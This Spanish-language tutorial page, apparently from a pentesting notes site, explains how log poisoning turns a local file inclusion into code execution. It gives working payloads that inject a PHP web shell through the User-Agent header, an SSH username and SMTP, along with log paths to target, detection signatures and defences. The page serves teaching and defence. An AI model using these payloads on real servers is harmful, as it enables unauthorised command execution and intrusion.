the_open_door
café
ESEN
← Volver al índice

Log Poisoning (LFI to RCE)

Arsenal completo de comandos en la cheatsheet

El envenenamiento de logs (log poisoning) convierte un LFI (inclusión local de ficheros) de solo lectura en ejecución de código. La idea es sencilla: si la aplicación incluye (no solo muestra) el fichero que le indicamos y ese fichero contiene código PHP, el intérprete lo ejecuta. Muchos ficheros del sistema admiten contenido controlable por el atacante; los logs son el caso clásico, porque registran datos de nuestras propias peticiones.

El flujo típico contra un servidor web (Apache/nginx) es:

  1. Comprobar que el LFI llega al log: incluir /var/log/nginx/access.log (o error.log, o el de Apache). Si su contenido se ve, vamos bien.
  2. Envenenar el log enviando una petición con código PHP en una cabecera que se registre, casi siempre el User-Agent:
curl 'http://<host>/index.php?page=<lfi>/var/log/nginx/access.log' \
  -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
  1. Disparar la ejecución volviendo a incluir el log vía LFI: al parsearlo, el PHP inyectado se ejecuta y permite comandos o una reverse shell.

Otros vectores de envenenamiento equivalentes: el log de SSH (/var/log/auth.log, metiendo PHP en el nombre de usuario de un login fallido), los logs de correo (/var/log/mail.log vía SMTP), o las sesiones PHP (/var/lib/php/sessions/sess_<id>) si controlamos algún valor de sesión.

# SSH: el usuario del login fallido queda en auth.log
ssh '<?php system($_GET[c]); ?>'@<ip>
# SMTP: el cuerpo/campos quedan en mail.log
nc <ip> 25    # MAIL FROM/RCPT TO/DATA con <?php system($_GET[c]); ?>
# luego incluir el log por LFI y anadir ?c=id
curl 'http://<ip>/index.php?page=/var/log/auth.log&c=id' --path-as-is

Rutas de log habituales a probar: /var/log/apache2/access.log, /var/log/apache2/error.log, /var/log/nginx/access.log, /var/log/httpd/access_log, /var/log/vsftpd.log, /var/log/auth.log.

Requisitos. El LFI debe incluir y ejecutar PHP (no un simple readfile/Content-Disposition), y el proceso web debe tener permiso de lectura sobre el log. Conecta directamente con el LFI / path traversal que lo habilita.

Cómo detectarlo. La firma vive en los propios logs: un User-Agent (o cabecera registrada) que contiene <?php, system(, passthru( o $_GET es antinatural y un WAF/IDS lo marca de inmediato. En paralelo, el log de acceso muestra peticiones al parámetro de inclusión apuntando a rutas de log (page=../../var/log/ nginx/access.log) o a /var/lib/php/sessions/. La confirmación en el host es el proceso web (php-fpm, apache2) leyendo su propio fichero de log y acto seguido lanzando sh/bash como hijo (auditd/Sysmon for Linux sobre execve con ppid del proceso web), algo que no ocurre en el flujo normal.

Defensa. Evitar incluir rutas controladas por el usuario (listas blancas, no include $_GET), restringir permisos de los logs, desactivar allow_url_include, y no mezclar inclusión de plantillas con entrada del usuario.

Máquinas donde se aplica